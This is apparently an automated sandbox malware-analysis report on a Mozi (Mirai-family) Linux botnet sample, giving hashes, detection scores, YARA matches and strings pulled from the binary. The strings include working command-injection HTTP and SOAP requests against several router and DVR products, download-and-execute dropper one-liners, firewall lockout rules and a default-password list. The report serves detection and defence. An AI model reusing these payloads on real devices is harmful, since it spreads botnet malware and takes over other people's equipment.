Linux Analysis Report Mozi.m

Overview

General Information

Sample Name: Mozi.m
Analysis ID: 450743
MD5: e957309c9cb381574c622b2d2a6798c0
SHA1: 3589d0f624deb034ad2ac15cb1f1f0f0fde10908
SHA256: 54dfe49f5b114030c318eb1be2d86bdcfac3e10d730b08631028f992fc92c9d0
Infos:

Detection

Mirai
Score: 96
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Mirai
Yara detected Mirai
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample is packed with UPX
Sample contains only a LOAD segment without any section mappings
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings indicative of password brute-forcing capabilities
Sample contains strings that are potentially command strings
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

AV Detection:

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Antivirus / Scanner detection for submitted sample
Source: Mozi.m Avira: detected
Multi AV Scanner detection for submitted file
Source: Mozi.m Virustotal: Detection: 60% Perma Link
Source: Mozi.m Metadefender: Detection: 40% Perma Link
Source: Mozi.m ReversingLabs: Detection: 66%

Spreading:

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Found strings indicative of a multi-platform dropper
Source: Mozi.m String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i ||curl -O http://%s:%d/i ||/bin/busybox wget http://%s:%d/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Mozi.m String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh ||curl -O http://%s:%d/bin.sh ||/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh ||(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: Mozi.m String: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i ||curl -O http://%s:%d/i ||/bin/busybox wget http://%s:%d/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Mozi.m String found in binary or memory: http://%s:%d/Mozi.a;chmod
Source: Mozi.m String found in binary or memory: http://%s:%d/Mozi.a;sh$
Source: Mozi.m String found in binary or memory: http://%s:%d/Mozi.m
Source: Mozi.m String found in binary or memory: http://%s:%d/Mozi.m;
Source: Mozi.m String found in binary or memory: http://%s:%d/Mozi.m;$
Source: Mozi.m String found in binary or memory: http://%s:%d/Mozi.m;/tmp/Mozi.m
Source: Mozi.m String found in binary or memory: http://%s:%d/bin.sh
Source: Mozi.m String found in binary or memory: http://%s:%d/bin.sh;chmod
Source: Mozi.m String found in binary or memory: http://127.0.0.1
Source: Mozi.m String found in binary or memory: http://127.0.0.1sendcmd
Source: Mozi.m String found in binary or memory: http://HTTP/1.1
Source: Mozi.m String found in binary or memory: http://baidu.com/%s/%s/%d/%s/%s/%s/%s)
Source: Mozi.m String found in binary or memory: http://ipinfo.io/ip
Source: Mozi.m String found in binary or memory: http://purenetworks.com/HNAP1/
Source: Mozi.m String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Mozi.m String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Mozi.m String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
Source: Mozi.m String found in binary or memory: http://upx.sf.net

System Summary:

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Sample contains only a LOAD segment without any section mappings
Source: LOAD without section mappings Program segment: 0x400000
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: busybox
Source: Initial sample String containing 'busybox' found: ..%s/%s/proc/haha/tmp/var/lib/dev/syscfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL "http://127.0.0.1"cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword "acsMozi"iptables -I INPUT -p tcp --destination-port 35000 -j DROPiptables -I INPUT -p tcp --destination-port 50023 -j DROPiptables -I OUTPUT -p tcp --source-port 50023 -j DROPiptables -I OUTPUT -p tcp --source-port 35000 -j DROPiptables -I INPUT -p tcp --destination-port 7547 -j DROPiptables -I OUTPUT -p tcp --source-port 7547 -j DROPiptables -I INPUT -p tcp --dport 35000 -j DROPiptables -I INPUT -p tcp --dport 50023 -j DROPiptables -I OUTPUT -p tcp --sport 50023 -j DROPiptables -I OUTPUT -p tcp --sport 35000 -j DROPiptables -I INPUT -p tcp --dport 7547 -j DROPiptables -I OUTPUT -p tcp --sport 7547 -j DROP/mnt/jffs2/Equip.sh%s%s%s%s#!/bin/sh/mnt/jffs2/wifi.sh/mnt/jffs2/WifiPerformance.shbusybox%255s %255s %255s %255s
Source: Initial sample String containing 'busybox' found: /bin/busybox cat /bin/ls|head -n 1
Source: Initial sample String containing 'busybox' found: /bin/busybox hexdump -e '16/1 "%c"' -n 52 /bin/ls
Source: Initial sample String containing 'busybox' found: /bin/busybox cat /bin/ls|more
Source: Initial sample String containing 'busybox' found: "\x%02xsage:/bin/busybox cat /bin/ls|head -n 1
Source: Initial sample String containing 'busybox' found: dd bs=52 count=1 if=/bin/ls || cat /bin/ls || while read i; do echo $i; done < /bin/ls || while read i; do echo $i; done < /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox dd bs=52 count=1 if=/bin/ls || /bin/busybox cat /bin/ls || while read i; do printf $i; done < /bin/ls || while read i; do printf $i; done < /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod 777 .i || (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
Source: Initial sample String containing 'busybox' found: /bin/busybox echo '%s' %s .i; %s && /bin/busybox echo '%s'
Source: Initial sample String containing 'busybox' found: ./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
Source: Initial sample String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i ||curl -O http://%s:%d/i ||/bin/busybox wget http://%s:%d/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Initial sample String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh ||curl -O http://%s:%d/bin.sh ||/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh ||(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: Initial sample String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '%s'
Source: Initial sample String containing 'busybox' found: /bin/busybox wget;/bin/busybox echo -ne '%s'
Source: Initial sample String containing 'busybox' found: ELF.r.c.x.k.p.s.6.m.l.4>>/bin/busybox chmod 777 .i || (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)>.x/bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
Source: Initial sample String containing 'busybox' found: me./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
Source: Initial sample String containing 'busybox' found: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i ||curl -O http://%s:%d/i ||/bin/busybox wget http://%s:%d/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
Sample contains strings indicative of password brute-forcing capabilities
Source: Initial sample String containing potential weak password found: admin
Source: Initial sample String containing potential weak password found: default
Source: Initial sample String containing potential weak password found: support
Source: Initial sample String containing potential weak password found: service
Source: Initial sample String containing potential weak password found: supervisor
Source: Initial sample String containing potential weak password found: guest
Source: Initial sample String containing potential weak password found: administrator
Source: Initial sample String containing potential weak password found: 123456
Source: Initial sample String containing potential weak password found: 54321
Source: Initial sample String containing potential weak password found: password
Source: Initial sample String containing potential weak password found: 12345
Source: Initial sample String containing potential weak password found: admin1234
Sample contains strings that are potentially command strings
Source: Initial sample Potential command found: mv -f
Source: Initial sample Potential command found: POST /cdn-cgi/
Source: Initial sample Potential command found: GET /c HTTP/1.0
Source: Initial sample Potential command found: POST /cdn-cgi/ HTTP/1.1
Source: Initial sample Potential command found: GET %s HTTP/1.1
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --destination-port 35000 -j DROP
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --destination-port 50023 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --source-port 50023 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --source-port 35000 -j DROP
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --destination-port 7547 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --source-port 7547 -j DROP
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --dport 35000 -j DROP
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --dport 50023 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --sport 50023 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --sport 35000 -j DROP
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --dport 7547 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --sport 7547 -j DROP
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --destination-port 58000 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --source-port 58000 -j DROP
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --dport 58000 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --sport 58000 -j DROP
Source: Initial sample Potential command found: rm /home/httpd/web_shell_cmd.gch
Source: Initial sample Potential command found: echo 3 > /usr/local/ct/ctadmincfg
Source: Initial sample Potential command found: mount -o remount,rw /overlay /
Source: Initial sample Potential command found: mv -f %s %s
Source: Initial sample Potential command found: iptables -I INPUT -p udp --destination-port %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I OUTPUT -p udp --source-port %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I PREROUTING -t nat -p udp --destination-port %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I POSTROUTING -t nat -p udp --source-port %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I INPUT -p udp --dport %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I OUTPUT -p udp --sport %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I PREROUTING -t nat -p udp --dport %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I POSTROUTING -t nat -p udp --sport %d -j ACCEPT
Source: Initial sample Potential command found: GET /c
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --destination-port %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --source-port %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I PREROUTING -t nat -p tcp --destination-port %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I POSTROUTING -t nat -p tcp --source-port %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --dport %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --sport %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I PREROUTING -t nat -p tcp --dport %d -j ACCEPT
Source: Initial sample Potential command found: iptables -I POSTROUTING -t nat -p tcp --sport %d -j ACCEPT
Source: Initial sample Potential command found: killall -9 %s
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --destination-port 22 -j DROP
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --destination-port 23 -j DROP
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --destination-port 2323 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --source-port 22 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --source-port 23 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --source-port 2323 -j DROP
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --dport 22 -j DROP
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --dport 23 -j DROP
Source: Initial sample Potential command found: iptables -I INPUT -p tcp --dport 2323 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --sport 22 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --sport 23 -j DROP
Source: Initial sample Potential command found: iptables -I OUTPUT -p tcp --sport 2323 -j DROP
Source: Initial sample Potential command found: killall -9 telnetd utelnetd scfgmgr
Source: Initial sample Potential command found: dd bs=52 count=1 if=/bin/ls || cat /bin/ls || while read i; do echo $i; done < /bin/ls || while read i; do echo $i; done < /bin/busybox
Source: Initial sample Potential command found: GET /Mozi.6 HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.7 HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.c HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.m HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.x HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.a HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.s HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.r HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.b HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.4 HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.k HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.l HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.p HTTP/1.0
Source: Initial sample Potential command found: GET /%s HTTP/1.1
Source: Initial sample Potential command found: POST /%s HTTP/1.1
Source: Initial sample Potential command found: POST /GponForm/diag_Form?images/ HTTP/1.1
Source: Initial sample Potential command found: POST /picsdesc.xml HTTP/1.1
Source: Initial sample Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample Potential command found: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample Potential command found: POST /UD/act?1 HTTP/1.1
Source: Initial sample Potential command found: POST /HNAP1/ HTTP/1.0
Source: Initial sample Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
Source: Initial sample Potential command found: POST /soap.cgi?service=WANIPConn1 HTTP/1.1
Source: Initial sample Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
Source: Initial sample Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
Yara signature match
Source: Mozi.m, type: SAMPLE Matched rule: SUSP_ELF_LNX_UPX_Compressed_File date = 2018-12-12, author = Florian Roth, description = Detects a suspicious ELF binary with UPX compression, reference = Internal Research, score = 038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4
Source: Mozi.m, type: SAMPLE Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: classification engine Classification label: mal96.spre.troj.evad.linM@0/2@0/0

Data Obfuscation:

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Sample is packed with UPX
Source: initial sample String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample String containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $

Malware Analysis System Evasion:

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Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/Mozi.m (PID: 4568) Queries kernel information via 'uname': Jump to behavior
Source: /usr/share/apport/apport-gtk (PID: 4632) Queries kernel information via 'uname': Jump to behavior
Source: /usr/share/apport/apport-gtk (PID: 4659) Queries kernel information via 'uname': Jump to behavior

No Screenshots

No contacted IP infos